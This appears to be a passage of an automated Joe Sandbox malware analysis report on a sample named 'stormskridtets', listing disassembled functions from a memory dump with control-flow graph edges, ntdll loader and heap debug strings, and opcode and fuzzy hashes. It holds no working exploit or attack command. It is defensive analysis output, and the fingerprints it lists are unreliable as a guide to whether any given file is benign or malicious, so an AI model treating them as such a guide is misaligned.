                                    • String ID: @$@$CFGOptions$DisableExceptionChainValidation$DisableHeapLookaside$ExecuteOptions$FrontEndHeapDebugOptions$GlobalFlag$GlobalFlag2$Initializing the application verifier package failed with status 0x%08lx$LdrpInitializeExecutionOptions$MaxDeadActivationContexts$MaxLoaderThreads$MinimumStackCommitInBytes$RaiseExceptionOnPossibleDeadlock$ShutdownFlags$TracingFlags$UnloadEventTraceDepth$UseImpersonatedDeviceMap$minkernel\ntdll\ldrinit.c
                                    • API String ID: 0-2160512332
                                    • Opcode ID: 4dcc79f58e50876a7578233b67a0aa0590cd7c8f4fd12d1de6d147c1a69cb22d
                                    • Instruction ID: cd9e3c886af3e986b7902b1cf22570ca16263b9364709d593658a2908b538e44
                                    • Opcode Fuzzy Hash: 4dcc79f58e50876a7578233b67a0aa0590cd7c8f4fd12d1de6d147c1a69cb22d
                                    • Instruction Fuzzy Hash: FE926D75608749ABE320CF14C880BABB7E8FB88764F40491DFA98D7250E775F845CB52
                                    Function 374A94E0 Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 558timeCOMMON
                                    Download Yara Rule

                                    Control-flow Graph

                                    • Executed
                                    • Not Executed
                                    control_flow_graph 559 374a94e0-374a9529 560 374a952b-374a9530 559->560 561 374a9578-374a9587 559->561 563 374a9534-374a953a 560->563 562 374a9589-374a958e 561->562 561->563 564 374a9d13-374a9d27 call 37444c30 562->564 565 374a9540-374a9564 call 37449020 563->565 566 374a9695-374a96bd call 37449020 563->566 573 374a9593-374a9634 GetPEB call 374adc65 565->573 574 374a9566-374a9573 call 374c972b 565->574 575 374a96bf-374a96da call 374a9d2a 566->575 576 374a96dc-374a9712 566->576 586 374a9652-374a9667 573->586 587 374a9636-374a9644 573->587 585 374a967d-374a9690 RtlDebugPrintTimes 574->585 580 374a9714-374a9716 575->580 576->580 580->564 584 374a971c-374a9731 RtlDebugPrintTimes 580->584 584->564 594 374a9737-374a973e 584->594 585->564 586->585 589 374a9669-374a966e 586->589 587->586 588 374a9646-374a964b 587->588 588->586 592 374a9673-374a9676 589->592 593 374a9670 589->593 592->585 593->592 594->564 595 374a9744-374a975f 594->595 596 374a9763-374a9774 call 374aa808 595->596 599 374a977a-374a977c 596->599 600 374a9d11 596->600 599->564 601 374a9782-374a9789 599->601 600->564 602 374a978f-374a9794 601->602 603 374a98fc-374a9902 601->603 604 374a97bc 602->604 605 374a9796-374a979c 602->605 606 374a9908-374a9937 call 37449020 603->606 607 374a9a9c-374a9aa2 603->607 612 374a97c0-374a9811 call 37449020 RtlDebugPrintTimes 604->612 605->604 611 374a979e-374a97b2 605->611 620 374a9939-374a9944 606->620 621 374a9970-374a9985 606->621 609 374a9af4-374a9af9 607->609 610 374a9aa4-374a9aad 607->610 615 374a9ba8-374a9bb1 609->615 616 374a9aff-374a9b07 609->616 610->596 614 374a9ab3-374a9aef call 37449020 610->614 617 374a97b8-374a97ba 611->617 618 374a97b4-374a97b6 611->618 612->564 645 374a9817-374a981b 612->645 638 374a9ce9 614->638 615->596 622 374a9bb7-374a9bba 615->622 624 374a9b09-374a9b0d 616->624 625 374a9b13-374a9b3d call 374a8513 616->625 617->612 618->612 627 374a994f-374a996e 620->627 628 374a9946-374a994d 620->628 632 374a9991-374a9998 621->632 633 374a9987-374a9989 621->633 629 374a9c7d-374a9cb4 call 37449020 622->629 630 374a9bc0-374a9c0a 622->630 624->615 624->625 651 374a9d08-374a9d0c 625->651 652 374a9b43-374a9b9e call 37449020 RtlDebugPrintTimes 625->652 637 374a99d9-374a99f6 RtlDebugPrintTimes 627->637 628->627 663 374a9cbb-374a9cc2 629->663 664 374a9cb6 629->664 635 374a9c0c 630->635 636 374a9c11-374a9c1e 630->636 641 374a99bd-374a99bf 632->641 639 374a998b-374a998d 633->639 640 374a998f 633->640 635->636 648 374a9c2a-374a9c2d 636->648 649 374a9c20-374a9c23 636->649 637->564 668 374a99fc-374a9a1f call 37449020 637->668 650 374a9ced 638->650 639->632 640->632 646 374a999a-374a99a4 641->646 647 374a99c1-374a99d7 641->647 654 374a986b-374a9880 645->654 655 374a981d-374a9825 645->655 660 374a99ad 646->660 661 374a99a6 646->661 647->637 658 374a9c39-374a9c7b 648->658 659 374a9c2f-374a9c32 648->659 649->648 657 374a9cf1-374a9d06 RtlDebugPrintTimes 650->657 651->596 652->564 688 374a9ba4 652->688 667 374a9886-374a9894 654->667 665 374a9852-374a9869 655->665 666 374a9827-374a9850 call 374a8513 655->666 657->564 657->651 658->657 659->658 671 374a99af-374a99b1 660->671 661->647 669 374a99a8-374a99ab 661->669 672 374a9ccd 663->672 673 374a9cc4-374a9ccb 663->673 664->663 665->667 676 374a9898-374a98ef call 37449020 RtlDebugPrintTimes 666->676 667->676 691 374a9a3d-374a9a58 668->691 692 374a9a21-374a9a3b 668->692 669->671 679 374a99bb 671->679 680 374a99b3-374a99b5 671->680 674 374a9cd1-374a9cd7 672->674 673->674 682 374a9cd9-374a9cdc 674->682 683 374a9cde-374a9ce4 674->683 676->564 695 374a98f5-374a98f7 676->695 679->641 680->679 681 374a99b7-374a99b9 680->681 681->641 682->638 683->650 689 374a9ce6 683->689 688->615 689->638 693 374a9a5d-374a9a8b RtlDebugPrintTimes 691->693 692->693 693->564 697 374a9a91-374a9a97 693->697 695->651 697->622
                                    APIs
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: DebugPrintTimes
                                    • String ID: $ $0
                                    • API String ID: 3446177414-3352262554
                                    • Opcode ID: 6ff3227b2907256ad7531dab4d8ff1ea750d444b2d77c18d329a9c9b38433ea1
                                    • Instruction ID: 543fbec69a8a5798fdec05d1b5efda4914dd6034c902b2ad439587654b2c145a
                                    • Opcode Fuzzy Hash: 6ff3227b2907256ad7531dab4d8ff1ea750d444b2d77c18d329a9c9b38433ea1
                                    • Instruction Fuzzy Hash: CD3221B56083818FE390CF68C884B9BFBE4BB98354F10492EF59987350DB75E949CB52
                                    Function 37438620 Relevance: 17.7, Strings: 14, Instructions: 223COMMON
                                    Download Yara Rule

                                    Control-flow Graph

                                    • Executed
                                    • Not Executed
                                    control_flow_graph 768 37438620-37438681 769 37475297-3747529d 768->769 770 37438687-37438698 768->770 769->770 771 374752a3-374752b0 GetPEB 769->771 771->770 772 374752b6-374752b9 771->772 773 374752d6-374752fc call 37442ce0 772->773 774 374752bb-374752c5 772->774 773->770 779 37475302-37475306 773->779 774->770 775 374752cb-374752d4 774->775 777 3747532d-37475341 call 374054a0 775->777 784 37475347-37475353 777->784 779->770 781 3747530c-37475321 call 37442ce0 779->781 781->770 788 37475327 781->788 786 3747555c-37475568 call 3747556d 784->786 787 37475359-3747536d 784->787 786->770 790 3747536f 787->790 791 3747538b-37475401 787->791 788->777 794 37475371-37475378 790->794 796 37475403-37475435 call 373ffd50 791->796 797 3747543a-3747543d 791->797 794->791 795 3747537a-3747537c 794->795 798 37475383-37475385 795->798 799 3747537e-37475381 795->799 808 3747554d-37475552 call 3748a4b0 796->808 801 37475514-37475517 797->801 802 37475443-37475494 797->802 798->791 803 37475555-37475557 798->803 799->794 801->803 804 37475519-37475548 call 373ffd50 801->804 809 37475496-374754cc call 373ffd50 802->809 810 374754ce-37475512 call 373ffd50 * 2 802->810 803->784 804->808 808->803 809->808 810->808
                                    Strings
                                    • undeleted critical section in freed memory, xrefs: 3747542B
                                    • Critical section address., xrefs: 37475502
                                    • Critical section debug info address, xrefs: 3747541F, 3747552E
                                    • Invalid debug info address of this critical section, xrefs: 374754B6
                                    • corrupted critical section, xrefs: 374754C2
                                    • First initialization stack trace. Use dps to dump it if non-NULL., xrefs: 374754E2
                                    • Address of the debug info found in the active list., xrefs: 374754AE, 374754FA
                                    • 8, xrefs: 374752E3
                                    • double initialized or corrupted critical section, xrefs: 37475508
                                    • Critical section address, xrefs: 37475425, 374754BC, 37475534
                                    • Thread is in a state in which it cannot own a critical section, xrefs: 37475543
                                    • Second initialization stack trace. Use dps to dump it if non-NULL., xrefs: 374754CE
                                    • Initialization stack trace. Use dps to dump it if non-NULL., xrefs: 3747540A, 37475496, 37475519
                                    • Thread identifier, xrefs: 3747553A
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID: 8$Address of the debug info found in the active list.$Critical section address$Critical section address.$Critical section debug info address$First initialization stack trace. Use dps to dump it if non-NULL.$Initialization stack trace. Use dps to dump it if non-NULL.$Invalid debug info address of this critical section$Second initialization stack trace. Use dps to dump it if non-NULL.$Thread identifier$Thread is in a state in which it cannot own a critical section$corrupted critical section$double initialized or corrupted critical section$undeleted critical section in freed memory
                                    • API String ID: 0-2368682639
                                    • Opcode ID: a0b06f547b668d6da7ad44d0e6287debf09d803327fba4cac7337af342f83123
                                    • Instruction ID: 2a136333f088088cb1e1705cb0ca711e76e636756a0920d5d2caf2781144527d
                                    • Opcode Fuzzy Hash: a0b06f547b668d6da7ad44d0e6287debf09d803327fba4cac7337af342f83123
                                    • Instruction Fuzzy Hash: 358159B69012A8AFEB10CF94C840BEEBBB9EF48314F504159F518BB680D775B941DFA1
                                    Function 374B0274 Relevance: 16.1, APIs: 1, Strings: 8, Instructions: 348timeCOMMON
                                    Download Yara Rule

                                    Control-flow Graph

                                    • Executed
                                    • Not Executed
                                    control_flow_graph 939 374b0274-374b0296 call 37457e54 942 374b0298-374b02b0 RtlDebugPrintTimes 939->942 943 374b02b5-374b02cd call 373f76b2 939->943 947 374b0751-374b0760 942->947 948 374b02d3-374b02e9 943->948 949 374b06f7 943->949 951 374b02eb-374b02ee 948->951 952 374b02f0-374b02f2 948->952 950 374b06fa-374b074e call 374b0766 949->950 950->947 954 374b02f3-374b030a 951->954 952->954 956 374b06b1-374b06ba GetPEB 954->956 957 374b0310-374b0313 954->957 960 374b06d9-374b06de call 373fb970 956->960 961 374b06bc-374b06d7 GetPEB call 373fb970 956->961 957->956 958 374b0319-374b0322 957->958 962 374b033e-374b0351 call 374b0cb5 958->962 963 374b0324-374b033b call 3740ffb0 958->963 969 374b06e3-374b06f4 call 373fb970 960->969 961->969 974 374b035c-374b0370 call 373f758f 962->974 975 374b0353-374b035a 962->975 963->962 969->949 978 374b05a2-374b05a7 974->978 979 374b0376-374b0382 GetPEB 974->979 975->974 978->950 982 374b05ad-374b05b9 GetPEB 978->982 980 374b03f0-374b03fb 979->980 981 374b0384-374b0387 979->981 983 374b04e8-374b04fa call 374127f0 980->983 984 374b0401-374b0408 980->984 985 374b0389-374b03a4 GetPEB call 373fb970 981->985 986 374b03a6-374b03ab call 373fb970 981->986 987 374b05bb-374b05be 982->987 988 374b0627-374b0632 982->988 1007 374b0590-374b059d call 374b11a4 call 374b0cb5 983->1007 1008 374b0500-374b0507 983->1008 984->983 993 374b040e-374b0417 984->993 997 374b03b0-374b03d1 call 373fb970 GetPEB 985->997 986->997 989 374b05dd-374b05e2 call 373fb970 987->989 990 374b05c0-374b05db GetPEB call 373fb970 987->990 988->950 994 374b0638-374b0643 988->994 1006 374b05e7-374b05fb call 373fb970 989->1006 990->1006 1000 374b0419-374b0429 993->1000 1001 374b0438-374b043c 993->1001 994->950 1002 374b0649-374b0654 994->1002 997->983 1027 374b03d7-374b03eb 997->1027 1000->1001 1009 374b042b-374b0435 call 374bdac6 1000->1009 1011 374b044e-374b0454 1001->1011 1012 374b043e-374b044c call 37433bc9 1001->1012 1002->950 1010 374b065a-374b0663 GetPEB 1002->1010 1038 374b05fe-374b0608 GetPEB 1006->1038 1007->978 1016 374b0509-374b0510 1008->1016 1017 374b0512-374b051a 1008->1017 1009->1001 1020 374b0682-374b0687 call 373fb970 1010->1020 1021 374b0665-374b0680 GetPEB call 373fb970 1010->1021 1013 374b0457-374b0460 1011->1013 1012->1013 1025 374b0472-374b0475 1013->1025 1026 374b0462-374b0470 1013->1026 1016->1017 1029 374b0538-374b053c 1017->1029 1030 374b051c-374b052c 1017->1030 1035 374b068c-374b06ac call 374a86ba call 373fb970 1020->1035 1021->1035 1036 374b0477-374b047e 1025->1036 1037 374b04e5 1025->1037 1026->1025 1027->983 1041 374b053e-374b0551 call 37433bc9 1029->1041 1042 374b056c-374b0572 1029->1042 1030->1029 1039 374b052e-374b0533 call 374bdac6 1030->1039 1035->1038 1036->1037 1044 374b0480-374b048b 1036->1044 1037->983 1038->950 1046 374b060e-374b0622 1038->1046 1039->1029 1053 374b0563 1041->1053 1054 374b0553-374b0561 call 3742fe99 1041->1054 1045 374b0575-374b057c 1042->1045 1044->1037 1051 374b048d-374b0496 GetPEB 1044->1051 1045->1007 1052 374b057e-374b058e 1045->1052 1046->950 1056 374b0498-374b04b3 GetPEB call 373fb970 1051->1056 1057 374b04b5-374b04ba call 373fb970 1051->1057 1052->1007 1059 374b0566-374b056a 1053->1059 1054->1059 1065 374b04bf-374b04dd call 374a86ba call 373fb970 1056->1065 1057->1065 1059->1045 1065->1037
                                    APIs
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: DebugPrintTimes
                                    • String ID: About to reallocate block at %p to %Ix bytes$About to rellocate block at %p to 0x%Ix bytes with tag %ws$HEAP: $HEAP[%wZ]: $Invalid allocation size - %Ix (exceeded %Ix)$Just reallocated block at %p to %Ix bytes$Just reallocated block at %p to 0x%Ix bytes with tag %ws$RtlReAllocateHeap
                                    • API String ID: 3446177414-1700792311
                                    • Opcode ID: 5449af077a76f90fb42ced5965120e9c032b92bb6080a32aca95b6b53e390fd0
                                    • Instruction ID: 13a446641a77a320393387e3fe0bc3f4f1ff3acec210356910a30a728b6e48a6
                                    • Opcode Fuzzy Hash: 5449af077a76f90fb42ced5965120e9c032b92bb6080a32aca95b6b53e390fd0
                                    • Instruction Fuzzy Hash: AFD1CD75508689DFDB21CF68C440AEABBF1EF49311F448059E4899B761CB39BD41CB22
                                    Function 373FD34C Relevance: 12.8, Strings: 10, Instructions: 312COMMON
                                    Download Yara Rule
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID: @$@$@$Control Panel\Desktop$Control Panel\Desktop\MuiCached$H/B7$MachinePreferredUILanguages$PreferredUILanguages$PreferredUILanguagesPending$\Registry\Machine\Software\Policies\Microsoft\MUI\Settings
                                    • API String ID: 0-4036738025
                                    • Opcode ID: da1cac3c0e115aaccf716a5b8d8e416d7bd2d958d99701100ff53c750f456738
                                    • Instruction ID: 8d2c40128694f11c24f0e65a7effce03c95b68507d09173aaf8ed0dcc00925fe
                                    • Opcode Fuzzy Hash: da1cac3c0e115aaccf716a5b8d8e416d7bd2d958d99701100ff53c750f456738
                                    • Instruction Fuzzy Hash: 91B191B55183559FD711CF14C494BABBBE8AB887A4F41492EF88CE7200DB35E909CB93
                                    Function 374AF525 Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 231timeCOMMON
                                    Download Yara Rule
                                    APIs
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: DebugPrintTimes
                                    • String ID: HEAP: $HEAP[%wZ]: $Invalid allocation size - %Ix (exceeded %Ix)$Just allocated block at %p for %Ix bytes$Just allocated block at %p for 0x%Ix bytes with tag %ws$RtlAllocateHeap
                                    • API String ID: 3446177414-1745908468
                                    • Opcode ID: 600a44cd96046567b33aaded40a000049cc6eea9dc8a4631abb4dfa87fbe5e61
                                    • Instruction ID: 7ac6330869f01908f2ff77ab24083e41614627416b6d2fed38d04e8e8e0773fa
                                    • Opcode Fuzzy Hash: 600a44cd96046567b33aaded40a000049cc6eea9dc8a4631abb4dfa87fbe5e61
                                    • Instruction Fuzzy Hash: FD91DD79900744DFEB01CF68C480AEABBF1AF69354F54805DE449AB361CB3AF942CB16
                                    Function 374B12ED Relevance: 11.8, Strings: 9, Instructions: 515COMMON
                                    Download Yara Rule
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID: Free Heap block %p modified at %p after it was freed$HEAP: $HEAP[%wZ]: $Heap Segment at %p contains invalid NumberOfUnCommittedPages (%x != %x)$Heap Segment at %p contains invalid NumberOfUnCommittedRanges (%x != %x)$Heap block at %p has corrupted PreviousSize (%lx)$Heap block at %p has incorrect segment offset (%x)$Heap block at %p is not last block in segment (%p)$Heap entry %p has incorrect PreviousSize field (%04x instead of %04x)
                                    • API String ID: 0-3591852110
                                    • Opcode ID: ceac75b0d7271620c10652433956e1df6339008545bda9c71800d263d023ba51
                                    • Instruction ID: 7f28973c2ff5577db4471a9e02011469b8c60dd6a3d015ce4a7c64ce9644b2b1
                                    • Opcode Fuzzy Hash: ceac75b0d7271620c10652433956e1df6339008545bda9c71800d263d023ba51
                                    • Instruction Fuzzy Hash: 7E128D74600646DFEB258F28C480BB6BBE1FF09364F548859E4CA8B641E739FC85CB61
                                    Function 3742D7B0 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 151timeCOMMON
                                    Download Yara Rule
                                    APIs
                                    • RtlDebugPrintTimes.NTDLL ref: 3742D959
                                      • Part of subcall function 37404859: RtlDebugPrintTimes.NTDLL ref: 374048F7
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID: DebugPrintTimes
                                    • String ID: $$$$LdrShutdownProcess$Process 0x%p (%wZ) exiting$minkernel\ntdll\ldrinit.c
                                    • API String ID: 3446177414-1975516107
                                    • Opcode ID: 245846cc40171d4d1a0ac2d1fcd24944b3cad30a8adae38b0f19fc3f2be2091c
                                    • Instruction ID: 98d234ec8e307e8ec9581f0ae8e379628cb03b8680a241068dc19b6347383ecd
                                    • Opcode Fuzzy Hash: 245846cc40171d4d1a0ac2d1fcd24944b3cad30a8adae38b0f19fc3f2be2091c
                                    • Instruction Fuzzy Hash: 01519AB6A043459FEB04DFA4C5857D9BBB1BB88314F248159D420BB281DB78B866DF81
                                    Function 3742245A Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 111COMMON
                                    Download Yara Rule
                                    Strings
                                    • minkernel\ntdll\ldrinit.c, xrefs: 3746A9A2
                                    • Getting ApphelpCheckModule failed with status 0x%08lx, xrefs: 3746A992
                                    • TG=7, xrefs: 37422462
                                    • LdrpDynamicShimModule, xrefs: 3746A998
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID: Getting ApphelpCheckModule failed with status 0x%08lx$LdrpDynamicShimModule$TG=7$minkernel\ntdll\ldrinit.c
                                    • API String ID: 0-435899203
                                    • Opcode ID: 5fa86ad751e63f89e3b78af2598dd686a327660f8abe392f73def9103b138309
                                    • Instruction ID: a26c9e0e6d9d5e46f5803f976b6fef68c4614eda106ecdeec376868bb88a0ff0
                                    • Opcode Fuzzy Hash: 5fa86ad751e63f89e3b78af2598dd686a327660f8abe392f73def9103b138309
                                    • Instruction Fuzzy Hash: 5A311676740701EBE710DF58CC85BDAB7B5EB85754F22445EE81077240EB78B896CB81
                                    Function 374363FF Relevance: 7.8, Strings: 6, Instructions: 261COMMON
                                    Download Yara Rule
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID: Delaying execution failed with status 0x%08lx$LDR:MRDATA: Process initialization failed with status 0x%08lx$NtWaitForSingleObject failed with status 0x%08lx, fallback to delay loop$Process initialization failed with status 0x%08lx$_LdrpInitialize$minkernel\ntdll\ldrinit.c
                                    • API String ID: 0-792281065
                                    • Opcode ID: d8c9d2549e86e3947028164c2cfcc56c95528f7c80ea910eea6bc0f535988b92
                                    • Instruction ID: 9d4269b55f16d1aafe46651fae380f47c9955fad330f79d6f353950a49ff371d
                                    • Opcode Fuzzy Hash: d8c9d2549e86e3947028164c2cfcc56c95528f7c80ea910eea6bc0f535988b92
                                    • Instruction Fuzzy Hash: 28915571A42355EBF710CF14E844BEA77A4EF857A4F10412DE4687B281DB38B822CB97
                                    Function 37432674 Relevance: 7.6, Strings: 6, Instructions: 110COMMON
                                    Download Yara Rule
                                    Strings
                                    • SXS: RtlGetAssemblyStorageRoot() unable to get activation context data, storage map and assembly roster header. Status = 0x%08lx, xrefs: 37472178
                                    • SXS: RtlGetAssemblyStorageRoot() unable to resolve storage map entry. Status = 0x%08lx, xrefs: 37472180
                                    • SXS: %s() passed the empty activation context, xrefs: 37472165
                                    • RtlGetAssemblyStorageRoot, xrefs: 37472160, 3747219A, 374721BA
                                    • SXS: %s() bad parameters AssemblyRosterIndex 0x%lx >= AssemblyRosterHeader->EntryCount: 0x%lx, xrefs: 3747219F
                                    • SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: AssemblyRosterIndex: 0x%lxSXS: AssemblyStorageRoot: %pSXS: Callback : %p, xrefs: 374721BF
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID: RtlGetAssemblyStorageRoot$SXS: %s() bad parameters AssemblyRosterIndex 0x%lx >= AssemblyRosterHeader->EntryCount: 0x%lx$SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: AssemblyRosterIndex: 0x%lxSXS: AssemblyStorageRoot: %pSXS: Callback : %p$SXS: %s() passed the empty activation context$SXS: RtlGetAssemblyStorageRoot() unable to get activation context data, storage map and assembly roster header. Status = 0x%08lx$SXS: RtlGetAssemblyStorageRoot() unable to resolve storage map entry. Status = 0x%08lx
                                    • API String ID: 0-861424205
                                    • Opcode ID: 0fdbe2329c80e21841ecdd1dda006997785b2ba7a0df93bb152476b945b8dbaa
                                    • Instruction ID: 733cc688353b87c91d64d0570504a2910097ee81b1fc227867095e735fb3d224
                                    • Opcode Fuzzy Hash: 0fdbe2329c80e21841ecdd1dda006997785b2ba7a0df93bb152476b945b8dbaa
                                    • Instruction Fuzzy Hash: 9E31E476A01364B7F7118E959C40FDB7778FFA96A0F0540ADFA18A7240D630BA11C7A2
                                    Function 3743C6A6 Relevance: 7.6, Strings: 6, Instructions: 110COMMON
                                    Download Yara Rule
                                    Strings
                                    • LdrpInitializeImportRedirection, xrefs: 37478177, 374781EB
                                    • minkernel\ntdll\ldrinit.c, xrefs: 3743C6C3
                                    • Loading import redirection DLL: '%wZ', xrefs: 37478170
                                    • minkernel\ntdll\ldrredirect.c, xrefs: 37478181, 374781F5
                                    • LdrpInitializeProcess, xrefs: 3743C6C4
                                    • Unable to build import redirection Table, Status = 0x%x, xrefs: 374781E5
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_6_2_373d0000_stormskridtets.jbxd
                                    Similarity
                                    • API ID:
                                    • String ID: LdrpInitializeImportRedirection$LdrpInitializeProcess$Loading import redirection DLL: '%wZ'$Unable to build import redirection Table, Status = 0x%x$minkernel\ntdll\ldrinit.c$minkernel\ntdll\ldrredirect.c
                                    • API String ID: 0-475462383
                                    • Opcode ID: 1959ed2cea7aa0769243b5512fb9711da67621d1adb595f98edfb0bf614a8c29
                                    • Instruction ID: 91174273730779ab333cc8d2071a0f9e774ce181125dfd8683194881369925ad
                                    • Opcode Fuzzy Hash: 1959ed2cea7aa0769243b5512fb9711da67621d1adb595f98edfb0bf614a8c29
                                    • Instruction Fuzzy Hash: B431D1B26443559FD210DE28D945E9A77E5EFC8B20F00455CF888AB3D0EA28FC15DBA3
                                    Function 37410770 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 414COMMON
                                    Download Yara Rule
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000006.00000002.2552955968.00000000373D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 373D0000, based on PE: true
                                    • Associated: 00000006.00000002.2552955968.00000000374F9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.00000000374FD000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000006.00000002.2552955968.000000003756E000.00000040.00001000.00020000.00000000.sdmpDownload File
